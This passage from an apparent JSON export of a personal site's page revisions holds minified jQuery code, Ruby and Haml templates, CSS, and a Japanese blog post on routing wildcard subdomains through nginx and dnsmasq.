class='test'\u003e\u003c/div\u003e\";if(!!a.getElementsByClassName\u0026\u0026a.getElementsByClassName(\"e\").length!==0){a.lastChild.className=\"e\";if(a.getElementsByClassName(\"e\").length===1)return;l.order.splice(1,0,\"CLASS\"),l.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=\"undefined\"\u0026\u0026!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?k.contains=function(a,b){return a!==b\u0026\u0026(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?k.contains=function(a,b){return!!(a.compareDocumentPosition(b)\u002616)}:k.contains=function(){return!1},k.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!==\"HTML\":!1};var v=function(a,b){var c,d=[],e=\"\",f=b.nodeType?[b]:b;while(c=l.match.PSEUDO.exec(a))e+=c[0],a=a.replace(l.match.PSEUDO,\"\");a=l.relative[a]?a+\"*\":a;for(var g=0,h=f.length;g\u003ch;g++)k(a,f[g],d);return k.filter(e,d)};f.find=k,f.expr=k.selectors,f.expr[\":\"]=f.expr.filters,f.unique=k.uniqueSort,f.text=k.getText,f.isXMLDoc=k.isXML,f.contains=k.contains}();var N=/Until$/,O=/^(?:parents|prevUntil|prevAll)/,P=/,/,Q=/^.[^:#\\[\\.,]*$/,R=Array.prototype.slice,S=f.expr.match.POS,T={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!=\"string\")return f(a).filter(function(){for(c=0,d=b.length;c\u003cd;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack(\"\",\"find\",a),g,h,i;for(c=0,d=this.length;c\u003cd;c++){g=e.length,f.find(a,this[c],e);if(c\u003e0)for(h=g;h\u003ce.length;h++)for(i=0;i\u003cg;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a\u003cc;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(V(this,a,!1),\"not\",a)},filter:function(a){return this.pushStack(V(this,a,!0),\"filter\",a)},is:function(a){return!!a\u0026\u0026(typeof a==\"string\"?f.filter(a,this).length\u003e0:this.filter(a).length\u003e0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h,i,j={},k=1;if(g\u0026\u0026a.length){for(d=0,e=a.length;d\u003ce;d++)i=a[d],j[i]||(j[i]=S.test(i)?f(i,b||this.context):i);while(g\u0026\u0026g.ownerDocument\u0026\u0026g!==b){for(i in j)h=j[i],(h.jquery?h.index(g)\u003e-1:f(g).is(h))\u0026\u0026c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=S.test(a)||typeof a!=\"string\"?f(a,b||this.context):0;for(d=0,e=this.length;d\u003ce;d++){g=this[d];while(g){if(l?l.index(g)\u003e-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length\u003e1?f.unique(c):c;return this.pushStack(c,\"closest\",a)},index:function(a){if(!a)return this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1;if(typeof a==\"string\")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==\"string\"?f(a,b):f.makeArray(a\u0026\u0026a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(U(c[0])||U(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b\u0026\u0026b.nodeType!==11?b:null},parents:function(a){return f.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return f.dir(a,\"parentNode\",c)},next:function(a){return f.nth(a,2,\"nextSibling\")},prev:function(a){return f.nth(a,2,\"previousSibling\")},nextAll:function(a){return f.dir(a,\"nextSibling\")},prevAll:function(a){return f.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return f.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return f.dir(a,\"previousSibling\",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c),g=R.call(arguments);N.test(a)||(d=c),d\u0026\u0026typeof d==\"string\"\u0026\u0026(e=f.filter(d,e)),e=this.length\u003e1\u0026\u0026!T[a]?f.unique(e):e,(this.length\u003e1||P.test(d))\u0026\u0026O.test(a)\u0026\u0026(e=e.reverse());return this.pushStack(e,a,g.join(\",\"))}}),f.extend({filter:function(a,b,c){c\u0026\u0026(a=\":not(\"+a+\")\");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g\u0026\u0026g.nodeType!==9\u0026\u0026(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1\u0026\u0026e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1\u0026\u0026++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1\u0026\u0026a!==b\u0026\u0026c.push(a);return c}});var W=/ jQuery\\d+=\"(?:\\d+|null)\"/g,X=/^\\s+/,Y=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/ig,Z=/\u003c([\\w:]+)/,$=/\u003ctbody/i,_=/\u003c|\u0026#?\\w+;/,ba=/\u003c(?:script|object|embed|option|style)/i,bb=/checked\\s*(?:[^=]|=\\s*.checked.)/i,bc=/\\/(java|ecma)script/i,bd=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)/,be={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]};be.optgroup=be.option,be.tbody=be.tfoot=be.colgroup=be.caption=be.thead,be.th=be.td,f.support.htmlSerialize||(be._default=[1,\"div\u003cdiv\u003e\",\"\u003c/div\u003e\"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!=\"object\"\u0026\u0026a!==b)return this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild\u0026\u0026a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){f(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,\"body\")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,\"before\",arguments)}},after:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,\"after\",arguments);a.push.apply(a,f(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b\u0026\u0026d.nodeType===1\u0026\u0026(f.cleanData(d.getElementsByTagName(\"*\")),f.cleanData([d])),d.parentNode\u0026\u0026d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1\u0026\u0026f.cleanData(b.getElementsByTagName(\"*\"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]\u0026\u0026this[0].nodeType===1?this[0].innerHTML.replace(W,\"\"):null;if(typeof a==\"string\"\u0026\u0026!ba.test(a)\u0026\u0026(f.support.leadingWhitespace||!X.test(a))\u0026\u0026!be[(Z.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(var c=0,d=this.length;c\u003cd;c++)this[c].nodeType===1\u0026\u0026(f.cleanData(this[c].getElementsByTagName(\"*\")),this[c].innerHTML=a)}catch(e){this.empty().append(a)}}else f.isFunction(a)?this.each(function(b){var c=f(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]\u0026\u0026this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!=\"string\"\u0026\u0026(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),\"replaceWith\",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone\u0026\u0026arguments.length===3\u0026\u0026typeof j==\"string\"\u0026\u0026bb.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j\u0026\u0026j.parentNode,f.support.parentNode\u0026\u0026i\u0026\u0026i.nodeType===11\u0026\u0026i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c\u0026\u0026f.nodeName(g,\"tr\");for(var l=0,m=this.length,n=m-1;l\u003cm;l++)d.call(c?bf(this[l],g):this[l],e.cacheable||m\u003e1\u0026\u0026l\u003cn?f.clone(h,!0,!0):h)}k.length\u0026\u0026f.each(k,bl)}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i;b\u0026\u0026b[0]\u0026\u0026(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1\u0026\u0026typeof a[0]==\"string\"\u0026\u0026a[0].length\u003c512\u0026\u0026i===c\u0026\u0026a[0].charAt(0)===\"\u003c\"\u0026\u0026!ba.test(a[0])\u0026\u0026(f.support.checkClone||!bb.test(a[0]))\u0026\u0026(g=!0,h=f.fragments[a[0]],h\u0026\u0026h!==1\u0026\u0026(e=h)),e||(e=i.createDocumentFragment(),f.clean\r\n(a,i,e,d)),g\u0026\u0026(f.fragments[a[0]]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1\u0026\u0026","created_at":"2011-09-19T14:02:39.000Z","updated_at":"2011-09-19T14:02:39.000Z"},{"id":1886,"name":"api.ssig33.com/timestamp","body":"ruby\r\npages = Page.where(name: params[:name]).order(\"created_at asc\")\r\n{created_at: pages.first.created_at, updated_at: pages.last.created_at}","created_at":"2011-09-20T03:11:33.000Z","updated_at":"2011-09-20T03:11:33.000Z"},{"id":1887,"name":"api.ssig33.com/timestamp","body":"ruby\r\npages = Page.where(name: request.params[\"name\"]).order(\"created_at asc\")\r\n{created_at: pages.first.created_at, updated_at: pages.last.created_at}","created_at":"2011-09-20T03:12:06.000Z","updated_at":"2011-09-20T03:12:06.000Z"},{"id":1888,"name":"api.ssig33.com/timestamp","body":"ruby\r\npages = Page.where(name: request.params[\"name\"]).order(\"created_at asc\")\r\n{created_at: pages.first.created_at, updated_at: pages.last.created_at}.to_json","created_at":"2011-09-20T03:20:42.000Z","updated_at":"2011-09-20T03:20:42.000Z"},{"id":1889,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n%script{src: \"http://ssig33.com/js/updated_at.js\"}\r\n\u003c!-- layout from Database --\u003e","created_at":"2011-09-20T03:25:33.000Z","updated_at":"2011-09-20T03:25:33.000Z"},{"id":1890,"name":"サブドメインを沢山使いたい","body":"[トップに戻る](/)\r\n\u003cdiv id=\"created_at\"/\u003e\r\n## サブドメインを沢山使いたい\r\nhttp://kure.ssig33.com http://darui.ssig33.com http://nemui.ssig33.com みたいのを沢山作ってコンテンツをそこに置きたい。めんどくさいことはしたくなくて、設定ファイルをいじるのは最初の一回だけにしたい。コンテンツの更新はブラウザ経由でやりたい。置きたいコンテンツは精々静的な HTML 一枚。\r\n\r\nそんな需要が僕にはあったので解決してみた。\r\n\r\nもともと ssig33.com は Sinatra で作ったアプリで、その前段に nginx がいるという構成になっていた。 nginx の設定は\r\n\r\n```\r\nupstream ssig33.com{\r\n server localhost:9233;\r\n}\r\nserver {\r\n listen 80;\r\n root /home/ssig33/dev/site/public;\r\n index index.html index.htm;\r\n\r\n server_name ssig33.com;\r\n\r\n location / {\r\n proxy_pass http://ssig33.com/;\r\n }\r\n```\r\n\r\nこんな感じだった。というわけでいろいろ調べた結果これ\r\n\r\n```\r\nserver {\r\n server_name ~^(?\u003cdomain\u003e.+)\\.ssig33\\.com$;\r\n location ~^(?\u003cpass\u003e.+)$ {\r\n proxy_pass http://ssig33.com/$domain.ssig33.com$pass;\r\n }\r\n}\r\n```\r\n\r\nを加えた。そうすると http://hoge.ssig33.com/huga にアクセスした時に http://ssig33.com/hoge.ssig33.com/huga が表示される。 http://ssig33.com のデータは Web から編集出来るので気楽にサブドメインにコンテンツを配置出来るようになった。面白い。\r\n\r\nnginx では sever_name とかはちゃんと書いた奴 -\u003e 正規表現で書いた奴という順序で評価される(っぽい)ので、 text.ssig33.com とかそういう既存の奴の邪魔もしない。\r\n\r\nところで ssig33.com では自宅サーバーで動いていて、自宅内ネットワークでは dnsmasq を使って名前解決していたのだけど、これまで通り hosts ファイルをばらまくだけではどうにもならない。でもちゃんと設定はあって、 dnsmasq.conf に \r\n\r\n```\r\naddress=/.ssig33.com/192.168.1.107\r\n```\r\n\r\nとか書いとくと意図した通りに動く(っぽい)。","created_at":"2011-09-20T03:33:13.000Z","updated_at":"2011-09-20T03:33:13.000Z"},{"id":1891,"name":"サブドメインを沢山使いたい","body":"[トップに戻る](/)\r\n\r\n\u003cdiv id=\"created_at\"/\u003e\r\n\r\n## サブドメインを沢山使いたい\r\nhttp://kure.ssig33.com http://darui.ssig33.com http://nemui.ssig33.com みたいのを沢山作ってコンテンツをそこに置きたい。めんどくさいことはしたくなくて、設定ファイルをいじるのは最初の一回だけにしたい。コンテンツの更新はブラウザ経由でやりたい。置きたいコンテンツは精々静的な HTML 一枚。\r\n\r\nそんな需要が僕にはあったので解決してみた。\r\n\r\nもともと ssig33.com は Sinatra で作ったアプリで、その前段に nginx がいるという構成になっていた。 nginx の設定は\r\n\r\n```\r\nupstream ssig33.com{\r\n server localhost:9233;\r\n}\r\nserver {\r\n listen 80;\r\n root /home/ssig33/dev/site/public;\r\n index index.html index.htm;\r\n\r\n server_name ssig33.com;\r\n\r\n location / {\r\n proxy_pass http://ssig33.com/;\r\n }\r\n```\r\n\r\nこんな感じだった。というわけでいろいろ調べた結果これ\r\n\r\n```\r\nserver {\r\n server_name ~^(?\u003cdomain\u003e.+)\\.ssig33\\.com$;\r\n location ~^(?\u003cpass\u003e.+)$ {\r\n proxy_pass http://ssig33.com/$domain.ssig33.com$pass;\r\n }\r\n}\r\n```\r\n\r\nを加えた。そうすると http://hoge.ssig33.com/huga にアクセスした時に http://ssig33.com/hoge.ssig33.com/huga が表示される。 http://ssig33.com のデータは Web から編集出来るので気楽にサブドメインにコンテンツを配置出来るようになった。面白い。\r\n\r\nnginx では sever_name とかはちゃんと書いた奴 -\u003e 正規表現で書いた奴という順序で評価される(っぽい)ので、 text.ssig33.com とかそういう既存の奴の邪魔もしない。\r\n\r\nところで ssig33.com では自宅サーバーで動いていて、自宅内ネットワークでは dnsmasq を使って名前解決していたのだけど、これまで通り hosts ファイルをばらまくだけではどうにもならない。でもちゃんと設定はあって、 dnsmasq.conf に \r\n\r\n```\r\naddress=/.ssig33.com/192.168.1.107\r\n```\r\n\r\nとか書いとくと意図した通りに動く(っぽい)。","created_at":"2011-09-20T03:34:51.000Z","updated_at":"2011-09-20T03:34:51.000Z"},{"id":1892,"name":"サブドメインを沢山使いたい","body":"[トップに戻る](/)\r\n\r\n## サブドメインを沢山使いたい\r\nhttp://kure.ssig33.com http://darui.ssig33.com http://nemui.ssig33.com みたいのを沢山作ってコンテンツをそこに置きたい。めんどくさいことはしたくなくて、設定ファイルをいじるのは最初の一回だけにしたい。コンテンツの更新はブラウザ経由でやりたい。置きたいコンテンツは精々静的な HTML 一枚。\r\n\r\nそんな需要が僕にはあったので解決してみた。\r\n\r\nもともと ssig33.com は Sinatra で作ったアプリで、その前段に nginx がいるという構成になっていた。 nginx の設定は\r\n\r\n```\r\nupstream ssig33.com{\r\n server localhost:9233;\r\n}\r\nserver {\r\n listen 80;\r\n root /home/ssig33/dev/site/public;\r\n index index.html index.htm;\r\n\r\n server_name ssig33.com;\r\n\r\n location / {\r\n proxy_pass http://ssig33.com/;\r\n }\r\n```\r\n\r\nこんな感じだった。というわけでいろいろ調べた結果これ\r\n\r\n```\r\nserver {\r\n server_name ~^(?\u003cdomain\u003e.+)\\.ssig33\\.com$;\r\n location ~^(?\u003cpass\u003e.+)$ {\r\n proxy_pass http://ssig33.com/$domain.ssig33.com$pass;\r\n }\r\n}\r\n```\r\n\r\nを加えた。そうすると http://hoge.ssig33.com/huga にアクセスした時に http://ssig33.com/hoge.ssig33.com/huga が表示される。 http://ssig33.com のデータは Web から編集出来るので気楽にサブドメインにコンテンツを配置出来るようになった。面白い。\r\n\r\nnginx では sever_name とかはちゃんと書いた奴 -\u003e 正規表現で書いた奴という順序で評価される(っぽい)ので、 text.ssig33.com とかそういう既存の奴の邪魔もしない。\r\n\r\nところで ssig33.com では自宅サーバーで動いていて、自宅内ネットワークでは dnsmasq を使って名前解決していたのだけど、これまで通り hosts ファイルをばらまくだけではどうにもならない。でもちゃんと設定はあって、 dnsmasq.conf に \r\n\r\n```\r\naddress=/.ssig33.com/192.168.1.107\r\n```\r\n\r\nとか書いとくと意図した通りに動く(っぽい)。\r\n\r\n\u003cdiv id=\"created_at\"/\u003e","created_at":"2011-09-20T03:35:28.000Z","updated_at":"2011-09-20T03:35:28.000Z"},{"id":1893,"name":"サブドメインを沢山使いたい","body":"[トップに戻る](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n## サブドメインを沢山使いたい\r\nhttp://kure.ssig33.com http://darui.ssig33.com http://nemui.ssig33.com みたいのを沢山作ってコンテンツをそこに置きたい。めんどくさいことはしたくなくて、設定ファイルをいじるのは最初の一回だけにしたい。コンテンツの更新はブラウザ経由でやりたい。置きたいコンテンツは精々静的な HTML 一枚。\r\n\r\nそんな需要が僕にはあったので解決してみた。\r\n\r\nもともと ssig33.com は Sinatra で作ったアプリで、その前段に nginx がいるという構成になっていた。 nginx の設定は\r\n\r\n```\r\nupstream ssig33.com{\r\n server localhost:9233;\r\n}\r\nserver {\r\n listen 80;\r\n root /home/ssig33/dev/site/public;\r\n index index.html index.htm;\r\n\r\n server_name ssig33.com;\r\n\r\n location / {\r\n proxy_pass http://ssig33.com/;\r\n }\r\n```\r\n\r\nこんな感じだった。というわけでいろいろ調べた結果これ\r\n\r\n```\r\nserver {\r\n server_name ~^(?\u003cdomain\u003e.+)\\.ssig33\\.com$;\r\n location ~^(?\u003cpass\u003e.+)$ {\r\n proxy_pass http://ssig33.com/$domain.ssig33.com$pass;\r\n }\r\n}\r\n```\r\n\r\nを加えた。そうすると http://hoge.ssig33.com/huga にアクセスした時に http://ssig33.com/hoge.ssig33.com/huga が表示される。 http://ssig33.com のデータは Web から編集出来るので気楽にサブドメインにコンテンツを配置出来るようになった。面白い。\r\n\r\nnginx では sever_name とかはちゃんと書いた奴 -\u003e 正規表現で書いた奴という順序で評価される(っぽい)ので、 text.ssig33.com とかそういう既存の奴の邪魔もしない。\r\n\r\nところで ssig33.com では自宅サーバーで動いていて、自宅内ネットワークでは dnsmasq を使って名前解決していたのだけど、これまで通り hosts ファイルをばらまくだけではどうにもならない。でもちゃんと設定はあって、 dnsmasq.conf に \r\n\r\n```\r\naddress=/.ssig33.com/192.168.1.107\r\n```\r\n\r\nとか書いとくと意図した通りに動く(っぽい)。\r\n\r\n","created_at":"2011-09-20T03:35:55.000Z","updated_at":"2011-09-20T03:35:55.000Z"},{"id":1894,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h2 ssig33.com - recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=post.name\r\n updated at:\r\n =post.updated_at\r\n %br\r\n %p\r\n %a{href: \"/\"} Go to Top Page","created_at":"2011-09-20T03:42:29.000Z","updated_at":"2011-09-20T03:42:29.000Z"},{"id":1895,"name":"common.css","body":"raw\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\na{ color:blue; }\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}","created_at":"2011-09-20T03:43:22.000Z","updated_at":"2011-09-20T03:43:22.000Z"},{"id":1896,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h2 ssig33.com - recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=post.name\r\n %span.lightgray\r\n updated at:\r\n =post.updated_at.getutc\r\n %br\r\n %p\r\n %a{href: \"/\"} Go to Top Page","created_at":"2011-09-20T03:44:28.000Z","updated_at":"2011-09-20T03:44:28.000Z"},{"id":1897,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\na{ color:blue; }\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}","created_at":"2011-09-20T03:45:04.000Z","updated_at":"2011-09-20T03:45:04.000Z"},{"id":1898,"name":"jquery.js","body":"raw jquery.js\r\nmime js\r\n\r\n/*! jQuery v1.6.4 http://jquery.com/ | http://jquery.org/license */\r\n(function(a,b){function cu(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cr(a){if(!cg[a]){var b=c.body,d=f(\"\u003c\"+a+\"\u003e\").appendTo(b),e=d.css(\"display\");d.remove();if(e===\"none\"||e===\"\"){ch||(ch=c.createElement(\"iframe\"),ch.frameBorder=ch.width=ch.height=0),b.appendChild(ch);if(!ci||!ch.createElement)ci=(ch.contentWindow||ch.contentDocument).document,ci.write((c.compatMode===\"CSS1Compat\"?\"\u003c!doctype html\u003e\":\"\")+\"\u003chtml\u003e\u003cbody\u003e\"),ci.close();d=ci.createElement(a),ci.body.appendChild(d),e=f.css(d,\"display\"),b.removeChild(ch)}cg[a]=e}return cg[a]}function cq(a,b){var c={};f.each(cm.concat.apply([],cm.slice(0,b)),function(){c[this]=a});return c}function cp(){cn=b}function co(){setTimeout(cp,0);return cn=f.now()}function cf(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}function ce(){try{return new a.XMLHttpRequest}catch(b){}}function b$(a,c){a.dataFilter\u0026\u0026(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g\u003ci;g++){if(g===1)for(h in a.converters)typeof h==\"string\"\u0026\u0026(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k===\"*\")k=l;else if(l!==\"*\"\u0026\u0026l!==k){m=l+\" \"+k,n=e[m]||e[\"* \"+k];if(!n){p=b;for(o in e){j=o.split(\" \");if(j[0]===l||j[0]===\"*\"){p=e[j[1]+\" \"+k];if(p){o=e[o],o===!0?n=p:p===!0\u0026\u0026(n=o);break}}}}!n\u0026\u0026!p\u0026\u0026f.error(\"No conversion from \"+m.replace(\" \",\" to \")),n!==!0\u0026\u0026(c=n?n(c):p(o(c)))}}return c}function bZ(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d\u0026\u0026(c[g[i]]=d[i]);while(f[0]===\"*\")f.shift(),h===b\u0026\u0026(h=a.mimeType||c.getResponseHeader(\"content-type\"));if(h)for(i in e)if(e[i]\u0026\u0026e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+\" \"+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]\u0026\u0026f.unshift(j);return d[j]}}function 